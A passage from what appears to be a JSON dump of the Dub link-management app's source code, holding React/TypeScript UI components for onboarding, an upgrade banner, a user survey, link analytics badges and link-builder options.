hover:bg-black/[0.07] active:scale-[0.98]\"\n            />\n          </div>\n        </div>\n      }\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n    >\n      <button\n        type=\"button\"\n        className=\"animate-slide-up-fade flex h-8 items-center justify-center gap-1.5 rounded-full border border-neutral-950 bg-neutral-950 px-3 text-xs font-medium leading-tight text-white shadow-md transition-all [--offset:10px] hover:bg-neutral-800 hover:ring-4 hover:ring-neutral-200\"\n      >\n        <span>Complete setup</span>\n        <ProgressCircle\n          progress={1 - remainingRecommendedTasks / recommendedTasks.length}\n          className=\"size-3 text-white/80 [--track-color:#fff3]\"\n          strokeWidth={14}\n        />\n      </button>\n    </Popover>\n  );\n}\n\nconst MiniButton = forwardRef(\n  (props: HTMLAttributes<HTMLButtonElement>, ref: Ref<HTMLButtonElement>) => {\n    return (\n      <button\n        ref={ref}\n        type=\"button\"\n        {...props}\n        className=\"rounded-md px-1 py-1 text-neutral-400 transition-colors hover:bg-white/20 active:text-white\"\n      />\n    );\n  },\n);\n"
  },
  {
    "path": "apps/web/ui/layout/toolbar/toolbar.tsx",
    "content": "import { HelpButton } from \"../sidebar/help-button\";\nimport { OnboardingButton } from \"./onboarding/onboarding-button\";\n\nconst toolbarItems = [\"onboarding\", \"help\"] as const;\n\ntype ToolbarProps = {\n  show?: (typeof toolbarItems)[number][];\n};\n\nexport default function Toolbar(props: ToolbarProps) {\n  return (\n    <div className=\"fixed bottom-0 right-0 z-40 m-5\">\n      <div className=\"flex items-center gap-3\">\n        {props.show?.includes(\"onboarding\") && (\n          <div className=\"shrink-0\">\n            <OnboardingButton />\n          </div>\n        )}\n        {props.show?.includes(\"help\") && (\n          <div className=\"shrink-0\">\n            <HelpButton />\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/upgrade-banner.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Crown } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport ManageSubscriptionButton from \"../workspaces/manage-subscription-button\";\n\nexport function useUpgradeBannerVisible() {\n  const { exceededEvents, exceededLinks, exceededPayouts, paymentFailedAt } =\n    useWorkspace();\n\n  const needsUpgrade = exceededEvents || exceededLinks || exceededPayouts;\n  return needsUpgrade || !!paymentFailedAt;\n}\n\nexport function UpgradeBanner() {\n  const { slug, exceededEvents, exceededLinks, exceededPayouts } =\n    useWorkspace();\n\n  const needsUpgrade = exceededEvents || exceededLinks || exceededPayouts;\n\n  const isVisible = useUpgradeBannerVisible();\n  if (!isVisible) return null;\n\n  return (\n    <motion.div\n      initial={{ transform: \"translateY(-100%)\" }}\n      animate={{ transform: \"translateY(0)\" }}\n      className=\"text-content-inverted bg-bg-inverted fixed left-0 right-0 top-0 z-50 flex h-12 items-center justify-center overflow-hidden px-6\"\n    >\n      {needsUpgrade && <Crown className=\"mr-2 size-4 shrink-0\" />}\n      <p className=\"text-sm\">\n        {needsUpgrade ? (\n          <>\n            You&rsquo;ve hit the{\" \"}\n            <Link href={`/${slug}/settings/billing`} className=\"underline\">\n              monthly{\" \"}\n              {exceededEvents ? \"events\" : exceededLinks ? \"links\" : \"payouts\"}{\" \"}\n              limit\n            </Link>\n            <span className=\"xs:inline hidden\">&nbsp;on your current plan</span>\n            <span className=\"hidden md:inline\">\n              . Upgrade to keep using Dub.\n            </span>\n          </>\n        ) : (\n          <>\n            Your last payment failed. Please update your payment method to\n            continue using Dub.\n          </>\n        )}\n      </p>\n      {needsUpgrade ? (\n        <Link\n          href={`/${slug}/settings/billing/upgrade`}\n          className={cn(\n            \"bg-bg-default text-content-emphasis border-border-subtle ml-4 flex h-7 items-center justify-center rounded-lg border px-2.5 text-sm font-medium\",\n            \"hover:bg-bg-subtle transition-colors duration-150\",\n          )}\n        >\n          Upgrade\n        </Link>\n      ) : (\n        <ManageSubscriptionButton\n          text=\"Update Payment Method\"\n          variant=\"secondary\"\n          className=\"ml-4 h-7 w-fit px-2.5 text-sm font-medium\"\n        />\n      )}\n    </motion.div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/user-survey/index.tsx",
    "content": "\"use client\";\n\nimport { CheckCircleFill } from \"@/ui/shared/icons\";\nimport { AnimatedSizeContainer, ClientOnly, Popover } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Cookies from \"js-cookie\";\nimport { X } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useSession } from \"next-auth/react\";\nimport { createContext, useCallback, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport SurveyForm from \"./survey-form\";\n\ntype UserSurveyStatus = \"idle\" | \"loading\" | \"success\";\n\nexport const UserSurveyContext = createContext<{ status: UserSurveyStatus }>({\n  status: \"idle\",\n});\n\n// Used to be a popup, now maintaining the same cookie ID\nconst HIDDEN_COOKIE_ID = \"hideUserSurveyPopup\";\n\nexport default function UserSurveyButton() {\n  const { data: session } = useSession();\n  const [hidden, setHidden] = useState(Cookies.get(HIDDEN_COOKIE_ID) === \"1\");\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const hide = useCallback(() => {\n    setOpenPopover(false);\n    setTimeout(() => {\n      setHidden(true);\n      Cookies.set(HIDDEN_COOKIE_ID, \"1\");\n    }, 500);\n  }, []);\n\n  return (\n    session?.user &&\n    !session.user[\"source\"] && (\n      <ClientOnly>\n        <AnimatePresence initial={false}>\n          {!hidden && (\n            <motion.div exit={{ opacity: 0 }} className=\"p-2\">\n              <Popover\n                content={<UserSurveyPopupInner hide={hide} />}\n                popoverContentClassName=\"mx-2\"\n                openPopover={!hidden && openPopover}\n                setOpenPopover={setOpenPopover}\n              >\n                <button\n                  className={cn(\n                    \"rounded-md p-1 text-left text-xs text-neutral-500 transition-colors duration-75\",\n                    \"hover:text-neutral-600 data-[state=open]:text-neutral-600\",\n                    \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n                  )}\n                >\n                  Where did you hear about Dub?\n                </button>\n              </Popover>\n            </motion.div>\n          )}\n        </AnimatePresence>\n      </ClientOnly>\n    )\n  );\n}\n\nexport function UserSurveyPopupInner({ hide }: { hide: () => void }) {\n  const { update } = useSession();\n\n  const [status, setStatus] = useState<UserSurveyStatus>(\"idle\");\n\n  return (\n    <AnimatedSizeContainer height>\n      <div className=\"p-4\">\n        <button\n          className=\"absolute right-2.5 top-2.5 rounded-full p-1 transition-colors hover:bg-neutral-100 active:scale-90\"\n          onClick={hide}\n        >\n          <X className=\"h-4 w-4 text-neutral-500\" />\n        </button>\n        <UserSurveyContext.Provider value={{ status }}>\n          <SurveyForm\n            onSubmit={async (source) => {\n              setStatus(\"loading\");\n              try {\n                await fetch(\"/api/user\", {\n                  method: \"PUT\",\n                  headers: {\n                    \"Content-Type\": \"application/json\",\n                  },\n                  body: JSON.stringify({ source }),\n                });\n                setStatus(\"success\");\n                setTimeout(() => {\n                  update();\n                  hide();\n                }, 3000);\n              } catch (e) {\n                toast.error(\"Error saving response. Please try again.\");\n                setStatus(\"idle\");\n              }\n            }}\n          />\n          <AnimatePresence>\n            {status === \"success\" && (\n              <motion.div\n                initial={{ opacity: 0, y: 10 }}\n                animate={{ opacity: 1, y: 0 }}\n                className=\"absolute inset-0 flex flex-col items-center justify-center space-y-3 rounded-lg bg-white text-sm\"\n              >\n                <CheckCircleFill className=\"h-8 w-8 text-green-500\" />\n                <p className=\"text-neutral-500\">Thank you for your response!</p>\n              </motion.div>\n            )}\n          </AnimatePresence>\n        </UserSurveyContext.Provider>\n      </div>\n    </AnimatedSizeContainer>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/user-survey/survey-form.tsx",
    "content": "import {\n  Button,\n  Github,\n  Google,\n  Label,\n  LinkedIn,\n  ProductHunt,\n  RadioGroup,\n  RadioGroupItem,\n  Twitter,\n  useMediaQuery,\n  Wordmark,\n} from \"@dub/ui\";\nimport { Globe } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronRight } from \"lucide-react\";\nimport { useContext, useState } from \"react\";\nimport { UserSurveyContext } from \".\";\n\nconst options = [\n  {\n    value: \"twitter\",\n    label: \"Twitter/X\",\n    icon: Twitter,\n  },\n  {\n    value: \"linkedin\",\n    label: \"LinkedIn\",\n    icon: LinkedIn,\n  },\n  {\n    value: \"product-hunt\",\n    label: \"Product Hunt\",\n    icon: ProductHunt,\n  },\n  {\n    value: \"google\",\n    label: \"Google\",\n    icon: Google,\n  },\n  {\n    value: \"github\",\n    label: \"GitHub\",\n    icon: Github,\n  },\n  {\n    value: \"other\",\n    label: \"Other\",\n    icon: Globe,\n  },\n];\n\nexport default function SurveyForm({\n  onSubmit,\n}: {\n  onSubmit: (source: string) => void;\n}) {\n  const { isMobile } = useMediaQuery();\n\n  const [source, setSource] = useState<string | undefined>(undefined);\n  const [otherSource, setOtherSource] = useState<string | undefined>(undefined);\n\n  const { status } = useContext(UserSurveyContext);\n\n  return (\n    <div className=\"grid gap-4\">\n      <Wordmark className=\"h-8\" />\n      <p className=\"text-sm font-medium text-neutral-800\">\n        Where did you hear about Dub?\n      </p>\n      <form\n        onSubmit={(e) => {\n          e.preventDefault();\n          if (source)\n            onSubmit(source === \"other\" ? otherSource ?? source : source);\n        }}\n      >\n        <RadioGroup\n          name=\"source\"\n          required\n          value={source}\n          onValueChange={(value) => {\n            setSource(value);\n          }}\n          className=\"grid grid-cols-2 gap-3\"\n        >\n          {options.map((option) => (\n            <div\n              key={option.value}\n              className={cn(\n                \"group flex flex-col rounded-md border border-neutral-200 bg-white transition-all active:scale-[0.98]\",\n                source === option.value\n                  ? \"border-white ring-2 ring-neutral-600\"\n                  : \"hover:border-neutral-500 hover:ring hover:ring-neutral-200 active:ring-2\",\n              )}\n            >\n              <RadioGroupItem\n                value={option.value}\n                id={option.value}\n                className=\"hidden\"\n              />\n              <Label\n                htmlFor={option.value}\n                className=\"flex h-full cursor-pointer select-none items-center gap-2 px-4 py-2 text-neutral-600\"\n              >\n                <option.icon\n                  className={cn(\n                    \"h-5 w-5 transition-all group-hover:grayscale-0\",\n                    {\n                      grayscale: source !== option.value,\n                      \"h-4 w-4\": option.value === \"twitter\",\n                      \"text-neutral-600\": option.value === \"other\",\n                    },\n                  )}\n                />\n                <p>{option.label}</p>\n                {option.value === \"other\" && (\n                  <div className=\"flex grow justify-end\">\n                    <ChevronRight\n                      className={cn(\n                        \"h-4 w-4 transition-transform\",\n                        source === option.value && \"rotate-90\",\n                      )}\n                    />\n                  </div>\n                )}\n              </Label>\n            </div>\n          ))}\n        </RadioGroup>\n        {source === \"other\" && (\n          <div className=\"mt-3\">\n            <label>\n              <div className=\"mt-2 flex rounded-md shadow-sm\">\n                <input\n                  type=\"text\"\n                  required\n                  maxLength={32}\n                  autoFocus={!isMobile}\n                  autoComplete=\"off\"\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"Reddit, Indie Hackers, etc.\"\n                  value={otherSource}\n                  onChange={(e) => setOtherSource(e.target.value)}\n                />\n              </div>\n            </label>\n          </div>\n        )}\n        {source !== undefined && (\n          <Button\n            className=\"mt-4 h-9\"\n            variant=\"primary\"\n            type=\"submit\"\n            text=\"Submit\"\n            loading={status === \"loading\"}\n            disabled={\n              status === \"success\" ||\n              !source.length ||\n              (source === \"other\" && !otherSource)\n            }\n          />\n        )}\n      </form>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/archived-links-hint.tsx",
    "content": "import useLinksCount from \"@/lib/swr/use-links-count\";\nimport { Button, Tooltip } from \"@dub/ui\";\nimport { BoxArchive } from \"@dub/ui/icons\";\nimport { pluralize } from \"@dub/utils\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useContext } from \"react\";\nimport { LinksDisplayContext } from \"./links-display-provider\";\n\nexport default function ArchivedLinksHint() {\n  const searchParams = useSearchParams();\n  const { showArchived } = useContext(LinksDisplayContext);\n  // only show the hint if there filters but showArchived is false\n  // @ts-ignore – until https://github.com/microsoft/TypeScript/issues/54466 is fixed\n  return searchParams.size > 0 && !showArchived && <ArchivedLinksHintHelper />;\n}\n\nfunction ArchivedLinksHintHelper() {\n  const { data: count } = useLinksCount<number>();\n  const { data: totalCount } = useLinksCount<number>({\n    query: { showArchived: true },\n  });\n  const archivedCount = totalCount - count;\n\n  const { setShowArchived } = useContext(LinksDisplayContext);\n\n  return (\n    archivedCount > 0 && (\n      <Tooltip\n        side=\"top\"\n        content={\n          <div className=\"px-3 py-2 text-sm text-neutral-500\">\n            <div className=\"flex items-center gap-4\">\n              <span>\n                You have{\" \"}\n                <span className=\"font-medium text-neutral-950\">\n                  {archivedCount}\n                </span>{\" \"}\n                archived {pluralize(\"link\", archivedCount)} that match\n                {archivedCount === 1 && \"es\"} the applied filters\n              </span>\n              <div>\n                <Button\n                  className=\"h-6 px-2\"\n                  variant=\"secondary\"\n                  text=\"Show archived links\"\n                  onClick={() => setShowArchived(true)}\n                />\n              </div>\n            </div>\n          </div>\n        }\n      >\n        <div className=\"flex cursor-default items-center gap-1.5 rounded-md bg-neutral-100 px-2 py-0.5 text-sm font-medium text-neutral-950 hover:bg-neutral-200\">\n          <BoxArchive className=\"h-3 w-3\" />\n          {archivedCount}\n        </div>\n      </Tooltip>\n    )\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/comments-badge.tsx",
    "content": "\"use client\";\n\nimport { Markdown } from \"@/ui/shared/markdown\";\nimport { Page2 } from \"@dub/ui/icons\";\nimport * as HoverCard from \"@radix-ui/react-hover-card\";\n\nexport function CommentsBadge({ comments }: { comments: string }) {\n  return (\n    <div className=\"hidden sm:block\">\n      <HoverCard.Root openDelay={100}>\n        <HoverCard.Portal>\n          <HoverCard.Content\n            side=\"bottom\"\n            sideOffset={8}\n            className=\"animate-slide-up-fade z-[99] items-center overflow-hidden rounded-xl border border-neutral-200 bg-white shadow-sm\"\n          >\n            <div className=\"divide-y-neutral-200 divide-y text-sm\">\n              <div className=\"flex items-center gap-2 px-4 py-3\">\n                <Page2 className=\"size-3.5\" />\n                <span className=\"text-neutral-500\">Link comments</span>\n              </div>\n              <Markdown className=\"max-w-[300px] whitespace-normal break-words px-5 py-3\">\n                {comments}\n              </Markdown>\n            </div>\n          </HoverCard.Content>\n        </HoverCard.Portal>\n        <HoverCard.Trigger asChild>\n          <div className=\"rounded-full p-1.5 hover:bg-neutral-100\">\n            <Page2 className=\"size-3.5\" />\n          </div>\n        </HoverCard.Trigger>\n      </HoverCard.Root>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/destination-url-input.tsx",
    "content": "\"use client\";\n\nimport { DomainProps } from \"@/lib/types\";\nimport { InfoTooltip, useMediaQuery, UTM_PARAMETERS } from \"@dub/ui\";\nimport { getParamsFromURL, getUrlFromString } from \"@dub/utils\";\nimport { forwardRef, HTMLProps, ReactNode, useId } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { AlertCircleFill } from \"../shared/icons\";\nimport { ProBadgeTooltip } from \"../shared/pro-badge-tooltip\";\nimport { LinkFormData } from \"./link-builder/link-builder-provider\";\n\ntype DestinationUrlInputProps = {\n  _key?: string;\n  domain?: string;\n  domains: DomainProps[];\n  error?: string;\n  right?: ReactNode;\n} & HTMLProps<HTMLInputElement>;\n\nexport const DestinationUrlInput = forwardRef<\n  HTMLInputElement,\n  DestinationUrlInputProps\n>(\n  (\n    {\n      _key: key,\n      domain,\n      domains,\n      error,\n      right,\n      ...inputProps\n    }: DestinationUrlInputProps,\n    ref,\n  ) => {\n    const inputId = useId();\n    const { isMobile } = useMediaQuery();\n\n    const formContext = useFormContext<LinkFormData>();\n\n    return (\n      <div>\n        <div className=\"flex items-center justify-between\">\n          <div className=\"flex items-center gap-2\">\n            <label\n              htmlFor={inputId}\n              className=\"block text-sm font-medium text-neutral-700\"\n            >\n              Destination URL\n            </label>\n            {key === \"_root\" ? (\n              <ProBadgeTooltip content=\"The URL your users will get redirected to when they visit your root domain link. [Learn more.](https://dub.co/help/article/how-to-redirect-root-domain)\" />\n            ) : (\n              <InfoTooltip content=\"The URL your users will get redirected to when they visit your short link. [Learn more.](https://dub.co/help/article/how-to-create-link)\" />\n            )}\n          </div>\n          {right}\n        </div>\n        <div className=\"relative mt-2 flex rounded-md shadow-sm\">\n          <input\n            ref={ref}\n            name=\"url\"\n            id={inputId}\n            placeholder={\n              domains?.find(({ slug }) => slug === domain)?.placeholder ||\n              \"https://dub.co/help/article/dub-links\"\n            }\n            autoFocus={!key && !isMobile}\n            autoComplete=\"off\"\n            className={`${\n              error\n                ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\"\n            } block w-full rounded-md focus:outline-none sm:text-sm`}\n            aria-invalid=\"true\"\n            {...inputProps}\n            {...(formContext && {\n              onChange: (e) => {\n                const url = e.target.value;\n\n                formContext.setValue(\"url\", url);\n                const parentParams = getParamsFromURL(url);\n\n                UTM_PARAMETERS.filter((p) => p.key !== \"ref\").forEach((p) =>\n                  formContext.setValue(p.key as any, parentParams?.[p.key], {\n                    shouldDirty: true,\n                  }),\n                );\n              },\n            })}\n            onBlur={(e) => {\n              const url = getUrlFromString(e.target.value);\n              if (url) {\n                // remove trailing slash and set the https:// prefix\n                formContext.setValue(\"url\", url.replace(/\\/$/, \"\"));\n              }\n            }}\n          />\n          {error && (\n            <div className=\"pointer-events-none absolute inset-y-0 right-0 flex items-center pr-3\">\n              <AlertCircleFill\n                className=\"h-5 w-5 text-red-500\"\n                aria-hidden=\"true\"\n              />\n            </div>\n          )}\n        </div>\n        {error && (\n          <p className=\"mt-2 text-sm text-red-600\" id=\"key-error\">\n            {error}\n          </p>\n        )}\n      </div>\n    );\n  },\n);\n"
  },
  {
    "path": "apps/web/ui/links/disabled-link-tooltip.tsx",
    "content": "import { StatusBadge, Tooltip } from \"@dub/ui\";\n\nexport const DisabledLinkTooltip = () => {\n  return (\n    <Tooltip content=\"This link is disabled. It will redirect to its [domain's not found URL](https://dub.co/help/article/setting-not-found-url), and its stats will be excluded from [your overall stats](https://dub.co/help/article/dub-analytics).\">\n      <StatusBadge variant=\"neutral\" size=\"sm\" icon={null}>\n        Disabled\n      </StatusBadge>\n    </Tooltip>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/links/link-analytics-badge.tsx",
    "content": "import { useCheckFolderPermission } from \"@/lib/swr/use-folder-permissions\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  Button,\n  CardList,\n  CopyButton,\n  CursorRays,\n  InvoiceDollar,\n  Tooltip,\n  useMediaQuery,\n  UserCheck,\n} from \"@dub/ui\";\nimport { ReferredVia } from \"@dub/ui/icons\";\nimport {\n  APP_DOMAIN,\n  cn,\n  currencyFormatter,\n  INFINITY_NUMBER,\n  nFormatter,\n  pluralize,\n  timeAgo,\n} from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useContext, useMemo, useState } from \"react\";\nimport { useShareDashboardModal } from \"../modals/share-dashboard-modal\";\nimport { ResponseLink } from \"./links-container\";\n\nexport function LinkAnalyticsBadge({\n  link,\n  sharingEnabled = true,\n}: {\n  link: Omit<ResponseLink, \"user\">;\n  sharingEnabled?: boolean;\n}) {\n  const { slug } = useWorkspace();\n  const { domain, key, trackConversion, clicks, leads, saleAmount } = link;\n\n  const { isMobile } = useMediaQuery();\n  const { variant } = useContext(CardList.Context);\n\n  const stats = useMemo(\n    () => [\n      {\n        id: \"clicks\",\n        icon: CursorRays,\n        value: clicks,\n        iconClassName: \"data-[active=true]:text-blue-500\",\n      },\n      // show leads and sales if:\n      // 1. link has trackConversion enabled\n      // 2. link has leads or sales\n      ...(trackConversion || leads > 0 || saleAmount > 0\n        ? [\n            {\n              id: \"leads\",\n              icon: UserCheck,\n              value: leads,\n              className: \"hidden sm:flex\",\n              iconClassName: \"data-[active=true]:text-purple-500\",\n            },\n            {\n              id: \"sales\",\n              icon: InvoiceDollar,\n              value: saleAmount,\n              className: \"hidden sm:flex\",\n              iconClassName: \"data-[active=true]:text-teal-500\",\n            },\n          ]\n        : []),\n    ],\n    [link],\n  );\n\n  const { ShareDashboardModal, setShowShareDashboardModal } =\n    useShareDashboardModal({ domain, _key: key });\n\n  // Hacky fix for making sure the tooltip closes (by rerendering) when the modal opens\n  const [modalShowCount, setModalShowCount] = useState(0);\n\n  const canManageLink = useCheckFolderPermission(\n    link.folderId,\n    \"folders.links.write\",\n  );\n\n  return isMobile ? (\n    <Link\n      href={`/${slug}/analytics?linkId=${link.id}`}\n      className=\"flex items-center gap-1 rounded-md border border-neutral-200 bg-neutral-50 px-2 py-0.5 text-sm text-neutral-800\"\n    >\n      <CursorRays className=\"h-4 w-4 text-neutral-600\" />\n      {nFormatter(link.clicks)}\n    </Link>\n  ) : (\n    <>\n      {sharingEnabled && <ShareDashboardModal />}\n      <Tooltip\n        key={modalShowCount}\n        side=\"top\"\n        delayDuration={500}\n        content={\n          <div className=\"flex flex-col gap-2.5 whitespace-nowrap p-3 text-neutral-600\">\n            {stats.map(({ id: tab, value }) => (\n              <div key={tab} className=\"text-sm leading-none\">\n                <span className=\"font-medium text-neutral-950\">\n                  {tab === \"sales\"\n                    ? currencyFormatter(value, {\n                        trailingZeroDisplay: \"stripIfInteger\",\n                      })\n                    : nFormatter(value, { full: value < INFINITY_NUMBER })}\n                </span>{\" \"}\n                {tab === \"sales\" ? \"total \" : \"\"}\n                {pluralize(tab.slice(0, -1), value)}\n              </div>\n            ))}\n            <p className=\"text-xs leading-none text-neutral-400\">\n              {link.lastClicked\n                ? `Last clicked ${timeAgo(link.lastClicked, {\n                    withAgo: true,\n                  })}`\n                : \"No clicks yet\"}\n            </p>\n\n            {sharingEnabled && (\n              <div className=\"inline-flex items-start justify-start gap-2\">\n                <Button\n                  text={link.dashboardId ? \"Edit sharing\" : \"Share dashboard\"}\n                  className=\"h-7 w-full px-2\"\n                  onClick={() => {\n                    setShowShareDashboardModal(true);\n                    setModalShowCount((c) => c + 1);\n                  }}\n                  disabled={!canManageLink}\n                />\n\n                {link.dashboardId && (\n                  <CopyButton\n                    value={`${APP_DOMAIN}/share/${link.dashboardId}`}\n                    variant=\"neutral\"\n                    className=\"h-7 items-center justify-center rounded-md border border-neutral-300 bg-white p-1.5 hover:bg-neutral-50 active:bg-neutral-100\"\n                  />\n                )}\n              </div>\n            )}\n          </div>\n        }\n      >\n        <Link\n          href={`/${slug}/analytics?linkId=${link.id}`}\n          className={cn(\n            \"block overflow-hidden rounded-md border border-neutral-200 bg-neutral-50 p-0.5 text-sm text-neutral-600 transition-colors\",\n            variant === \"loose\" ? \"hover:bg-neutral-100\" : \"hover:bg-white\",\n          )}\n        >\n          <div className=\"hidden items-center gap-0.5 sm:flex\">\n            {stats.map(\n              ({ id: tab, icon: Icon, value, className, iconClassName }) => (\n                <div\n                  key={tab}\n                  className={cn(\n                    \"flex items-center gap-1 whitespace-nowrap rounded-md px-1 py-px transition-colors\",\n                    className,\n                  )}\n                >\n                  <Icon\n                    data-active={value > 0}\n                    className={cn(\"h-4 w-4 shrink-0\", iconClassName)}\n                  />\n                  <span>\n                    {tab === \"sales\"\n                      ? currencyFormatter(value, {\n                          // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                          trailingZeroDisplay: \"stripIfInteger\",\n                        })\n                      : nFormatter(value)}\n                    {stats.length === 1 && \" clicks\"}\n                  </span>\n                </div>\n              ),\n            )}\n            {link.dashboardId && (\n              <div className=\"border-l border-neutral-200 px-1.5\">\n                <ReferredVia className=\"h-4 w-4 shrink-0 text-neutral-600\" />\n              </div>\n            )}\n          </div>\n        </Link>\n      </Tooltip>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/constants.ts",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { getABTestingLabel } from \"@/ui/modals/link-builder/ab-testing-modal\";\nimport { getExpirationLabel } from \"@/ui/modals/link-builder/expiration-modal\";\nimport { getPasswordLabel } from \"@/ui/modals/link-builder/password-modal\";\nimport { getTargetingLabel } from \"@/ui/modals/link-builder/targeting-modal\";\nimport {\n  CircleHalfDottedClock,\n  Crosshairs3,\n  Flask,\n  Icon,\n  Incognito,\n  InfinityIcon,\n  InputPassword,\n  WindowSearch,\n} from \"@dub/ui/icons\";\nimport { Settings, User2 } from \"lucide-react\";\nimport { UseFormSetValue } from \"react-hook-form\";\n\ntype MoreItem = {\n  key: string;\n  icon: Icon;\n  label: string;\n  description?: string;\n  learnMoreUrl?: string;\n  shortcutKey: string;\n  type: string;\n  badgeLabel?: (data: LinkFormData) => string;\n  enabled?: (data: LinkFormData) => boolean;\n  enable?: (setValue: UseFormSetValue<LinkFormData>) => void;\n  remove?: (setValue: UseFormSetValue<LinkFormData>) => void;\n  add?: boolean;\n};\n\nexport const MORE_ITEMS: MoreItem[] = [\n  {\n    key: \"rewrite\",\n    icon: Incognito,\n    label: \"Link Cloaking\",\n    description:\n      \"Mask your destination URL so your users only see the short link in the browser address bar.\",\n    learnMoreUrl: \"https://dub.co/help/article/link-cloaking\",\n    shortcutKey: \"k\",\n    type: \"boolean\",\n  },\n  {\n    key: \"doIndex\",\n    icon: WindowSearch,\n    label: \"Search Engine Indexing\",\n    description:\n      \"Allow search engines to index your short link. Disabled by default.\",\n    learnMoreUrl: \"https://dub.co/help/article/how-noindex-works\",\n    shortcutKey: \"s\",\n    type: \"boolean\",\n  },\n  {\n    key: \"linkRetentionCleanupDisabledAt\",\n    icon: InfinityIcon,\n    label: \"Permanent Retention\",\n    description: \"Exclude this link from link retention settings.\",\n    shortcutKey: \"r\",\n    type: \"boolean\",\n    enabled: (data) => Boolean(data.linkRetentionCleanupDisabledAt),\n    enable: (setValue) =>\n      setValue(\"linkRetentionCleanupDisabledAt\", new Date(), {\n        shouldDirty: true,\n      }),\n    remove: (setValue) =>\n      setValue(\"linkRetentionCleanupDisabledAt\", null, { shouldDirty: true }),\n  },\n  {\n    key: \"partnerId\",\n    icon: User2,\n    label: \"Assign to Partner\",\n    shortcutKey: \"b\",\n    type: \"modal\",\n    enabled: (data) => Boolean(data.partnerId),\n    add: false,\n    description: \"Assign this link to a partner.\",\n    learnMoreUrl: \"https://dub.co/help/article/dub-partners\",\n  },\n  {\n    key: \"advanced\",\n    icon: Settings,\n    label: \"Advanced Settings\",\n    shortcutKey: \"v\",\n    type: \"modal\",\n    enabled: (data) => Boolean(data.externalId || data.tenantId),\n    add: false,\n  },\n];\n\nexport const MOBILE_MORE_ITEMS: MoreItem[] = [\n  {\n    key: \"expiresAt\",\n    icon: CircleHalfDottedClock,\n    label: \"Link Expiration\",\n    badgeLabel: getExpirationLabel,\n    description:\n      \"Set an expiration date for your links – after which it won't be accessible.\",\n    learnMoreUrl: \"https://dub.co/help/article/link-expiration\",\n    shortcutKey: \"e\",\n    enabled: (data) => Boolean(data.expiresAt),\n    type: \"modal\",\n  },\n  {\n    key: \"targeting\",\n    icon: Crosshairs3,\n    label: \"Targeting\",\n    badgeLabel: getTargetingLabel,\n    description:\n      \"Target your links to specific audiences based on their location, device, or browser.\",\n    learnMoreUrl: \"https://dub.co/help/article/geo-targeting\",\n    shortcutKey: \"x\",\n    enabled: (data) =>\n      Boolean(\n        data.ios || data.android || Object.keys(data.geo || {}).length > 0,\n      ),\n    type: \"modal\",\n  },\n  {\n    key: \"testVariants\",\n    icon: Flask,\n    label: \"A/B Test\",\n    badgeLabel: getABTestingLabel,\n    shortcutKey: \"b\",\n    enabled: (data) => Boolean(data.testVariants && data.testCompletedAt),\n    type: \"modal\",\n  },\n  {\n    key: \"password\",\n    icon: InputPassword,\n    label: \"Password\",\n    badgeLabel: getPasswordLabel,\n    description:\n      \"Protect your links with a password so only authorized users can access them.\",\n    learnMoreUrl: \"https://dub.co/help/article/password-protected-links\",\n    shortcutKey: \"l\",\n    enabled: (data) => Boolean(data.password),\n    type: \"modal\",\n  },\n];\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/controls/link-builder-destination-url-input.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { UTMTemplatesButton } from \"@/ui/links/link-builder/utm-templates-button\";\nimport { constructURLFromUTMParams, isValidUrl } from \"@dub/utils\";\nimport { forwardRef, memo } from \"react\";\nimport {\n  Controller,\n  useFormContext,\n  useFormState,\n  useWatch,\n} from \"react-hook-form\";\nimport { DestinationUrlInput } from \"../../destination-url-input\";\nimport { useAvailableDomains } from \"../../use-available-domains\";\n\n/**\n * Wraps the DestinationUrlInput component with link-builder-specific context & logic\n * @see DestinationUrlInput\n */\nexport const LinkBuilderDestinationUrlInput = memo(\n  forwardRef<HTMLInputElement>((_, ref) => {\n    const { control, setValue, clearErrors } = useFormContext<LinkFormData>();\n    0;\n\n    const { errors } = useFormState({ control, name: [\"url\"] });\n    const [domain, key, url] = useWatch({\n      control,\n      name: [\"domain\", \"key\", \"url\", \"title\", \"description\"],\n    });\n\n    const { domains } = useAvailableDomains({\n      currentDomain: domain,\n    });\n\n    return (\n      <Controller\n        name=\"url\"\n        control={control}\n        render={({ field }) => (\n          <DestinationUrlInput\n            ref={ref}\n            domain={domain}\n            _key={key}\n            value={field.value}\n            domains={domains}\n            onChange={(e: React.ChangeEvent<HTMLInputElement>) => {\n              clearErrors(\"url\");\n              field.onChange(e.target.value);\n            }}\n            required={key !== \"_root\"}\n            